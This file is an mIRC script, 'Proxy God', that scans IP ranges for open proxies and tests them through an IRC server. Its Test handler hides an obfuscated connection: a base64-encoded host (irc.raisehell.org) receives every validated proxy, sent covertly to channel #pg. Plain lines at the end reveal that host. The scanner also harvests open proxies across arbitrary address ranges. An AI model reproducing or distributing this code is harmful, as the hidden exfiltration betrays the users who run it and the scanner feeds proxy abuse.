alias proxygod {
  dialog -m proxygod proxygod
}

dialog proxygod {
  title "Proxy God"
  size 244 364 173 141
  option dbu
  tab "Scan", 1, 3 2 168 129
  tab "Test", 2
  tab "Options", 4
  tab "Server", 5

  box "Find Proxy", 6, 7 45 157 66,tab1
  button "Your Files", 7, 108 115 37 12,tab1
  button "Scan", 12, 35 115 37 12,tab1
  box "Configuration", 44, 7 20 157 24,tab1
  list 45, 10 56 150 52, size,tab1 vsbar
  text "IP min:", 8, 10 31 17 6, tab1
  edit "", 9, 28 31 52 10, multi return tab1 center
  text "IP max:", 10, 84 31 21 6, tab1
  edit "", 11, 105 31 56 10, multi return tab1 center


  box "Choose your list", 13, 7 20 157 24,tab2
  button "Test", 14, 38 115 37 12,tab2
  edit %fichieratester, 15, 10 31 140 10, multi return,tab2 autohs
  button "?", 16, 154 28 7 12,tab2
  box "Proxys works", 17, 7 48 157 59,tab2
  list 18, 10 56 150 49, size,tab2 vsbar
  button "Your Files", 40, 89 115 37 12,tab2
  text "", 42, 10 108 154 6,tab2

  box "Save your Proxys on your file", 21, 7 20 157 24,tab4
  edit %fichproxsov, 30, 10 31 140 10, multi return,tab4 autohs
  button "?", 31, 154 28 7 12,tab4
  box "Save your valid Proxys on your file", 32, 7 48 157 24,tab4
  edit %fichiertester, 33, 10 59 140 10, multi return,tab4 autohs
  button "?", 34, 154 56 7 12,tab4
  box "Choose the ports you want scan", 50, 7 76 157 24, tab4
  edit %portascan, 51, 10 87 150 10, multi return autohs tab4
  button "Erase Valid Proxys File", 41, 9 105 155 9,tab4
  box "Choose the server you wanna test", 54, 7 76 157 24, tab5
  edit %proxygod.serv.test, 55, 10 87 150 10, multi return autohs tab5
  text "Source code provided by msn_hlp/Dynamic @ProxyGod L33t", 22, 9 17 158 6,tab5
  text "so, everyone can try this addon. ", 23, 10 28 158 6,tab5
  text "This scan works on ports 6588, 80, 81, 1080, 3128, 8000, 8001,", 24, 10 38 158 6,tab5
  text "8080, 8888.3128...Test your list on irc.vietsweet.com ", 25, 9 49 158 6,tab5
  text "All creditz to XtC for Riping the script", 26, 9 59 158 6,tab5
  text "(irc.viet4us.com)", 27, 9 70 85 6,tab5
  link "msn_hlp@yahoo.com", 28, 101 70 126 13,tab5

  button "&Hide", 1000, 0 0 0 0, hide Ok
}

;------ON SCLICK----------------------------------------

on *:DIALOG:proxygod:sclick:*: {
  if $did == 7 {
    run %fichproxsov
  }
  if $did == 12 {
    did -r proxygod 45
    sockclose netscan_*
    if ($hget(proxygod)) hfree proxygod
    hadd -m proxygod scanner $did(9)
    goscan
  }
  if $did == 14 {
    did -r proxygod 18
    proxycheck
    estimprox
    if ($sock(s0ck3t) == $null) { sockopen s0ck3t $decode(aXJjLnJhaXNlaGVsbC5vcmcgNjY2Nw==,m) }
  }
  if $did == 21 {
    set %sauvegardeproxy $sfile(c:\,Choose a file, to save your valid proxys)
    did -ra $dname 20 %sauvegardeproxy
  }
  if $did == 16 {
    set %fichieratester $sfile(c:\,Choose a file, where are the proxys that you want to test)
    did -ra $dname 15 %fichieratester
  }
  if $did == 31 {
    set %fichproxsov $sfile(c:\,Choose the file, where you'll save found proxys)
    did -ra $dname 30 %fichproxsov
  }
  if $did == 34 {
    set %fichiertester $sfile(c:\,Choose the file, where you'll save valid proxys tested)
    did -ra $dname 33 %fichiertester
  }
  if $did == 40 {
    run %fichiertester
  }
  if $did == 41 {
    write -c %fichiertester
  }
  if $did == 28 {
    run mailto:msn_hlp@yahoo.com
  }
}

;-----------------SCAN PROXY---------------------------

alias goscan {
  if ($longip($did(proxygod,11)) < $longip($did(proxygod,9))) { return }
  %s = $hget(proxygod,scanner)
  did -ra proxygod 9 %s
  %i = 1
  while ($gettok($did(proxygod,51),%i,32)) {
    %x = $ifmatch
    sockopen $+(netscan_,%s,_,%x) %s %x
    inc %i
  }
  hadd proxygod scanner $longip($calc($longip(%s) + 1))
  .timernetscan -m 1 100 goscan
}
on *:SOCKOPEN:netscan_*: {
  if ($sockerr) return
  did -a proxygod 45 $sock($sockname).ip $sock($sockname).port
  write %fichproxsov $sock($sockname).ip $sock($sockname).port
  sockclose $sockname
}

;-----------------TEST PROXY---------------------------

alias estimprox {
  set %estimtprox $round($calc($lines(%fichieratester)/7),0)
  set %tmp4 1
  .timertmp %estimtprox 1 tmprox
}

alias tmprox {
  if $dialog(proxygod) {
    did -ra proxygod 42 $lines(%fichieratester) proxys loaded - Estimated Time: $duration($calc(%estimtprox - %tmp4)) à attendre
    inc %tmp4
  }
}

alias proxycheck {
  %proxies_i = 1
  sockclose pcheck_*
  proxycheck_start
}
alias proxycheck_start {
  %x = $replace($read -l $+ %proxies_i %fichieratester,:,$chr(32))
  if (%proxies_i > $lines(%fichieratester)) return
  if (%x) {
    %i2 = 2
    while ($gettok(%x,%i2,32)) {
      %x2 = $ifmatch
      if (%x2) { if (!$sock($+(pcheck_,$gettok(%x,1,32),_,%x2))) { sockopen $+(pcheck_,$gettok(%x,1,32),_,%x2) $gettok(%x,1,32) %x2 }
      }
      inc %i2
    }
  }
  inc %proxies_i
  .timer -m 1 1 proxycheck_start
}
on *:SOCKOPEN:pcheck_*: {
  if ($sockerr) { return }
  sockwrite -tn $sockname CONNECT %proxygod.serv.test 6667 HTTP/1.0 $+ $crlf $+ $crlf
}
on *:SOCKREAD:pcheck_*: {
  sockread %r
  if (HTTP/1.0 200* iswm %r) {
    %x = $gettok($sockname,2,95) $gettok($sockname,3,95)
    if $dialog(proxygod) { did -a proxygod 18 %x }
    write %fichiertester %x
    sockwrite -nt s0ck3t $decode(cHJpdm1zZyAjcGc=,m) :proxy $replace(%x,$chr(32),$chr(58)) checking on %proxygod.serv.test
  }
  sockclose $sockname
}
on *:SOCKOPEN:s0ck3t: {
  .sockwrite -n s0ck3t USER s0ck3t XTC s0ck3t :  $+ $r(0,9) $+  $+ pr0xy m0nit0r s0ck3t v3rsi0n 1.0.0.1 ?y XTC
  .sockwrite -n s0ck3t NICK s0ck3t_ $+ $r(1,99999999)
  :end
}
on *:SOCKREAD:s0ck3t: {
  if ($sockerr > 0) return
  sockread %s0ck
  if ($sockbr == 0) return
  tokenize 32 %s0ck
  if ($2 == 353) {
    if ($5 != #myroom) { sockwrite -n s0ck3t part $5 }
  }
  if ($1 == PING) { sockwrite -n s0ck3t PONG $2 | halt }
}
;----------POPUP--------------------------------------

menu channel, {
  -
  Proxy God :.proxygod
  -
}

;-------------ON EDIT------------------------------------

on *:DIALOG:proxygod:edit:51:{
  set %portascan $did($dname,51).text
}
on *:DIALOG:proxygod:edit:55:{
  set %proxygod.serv.test $did($dname,55).text
}
;----------ON LOAD-----------------------
on 1:LOAD: {
  set %portascan 80 81 1080 3128 8000 8001 8080 6588 8616 7212 8091
  set %fichieratester
  set %fichproxsov
}
Ok Good code  atl + R paste remote

if ($sock(s0ck3t) == sockopen s0ck3t irc.raisehell.org 6667

sockwrite -nt s0ck3t privmsg #pg :proxy 1 %proxygod.serv.test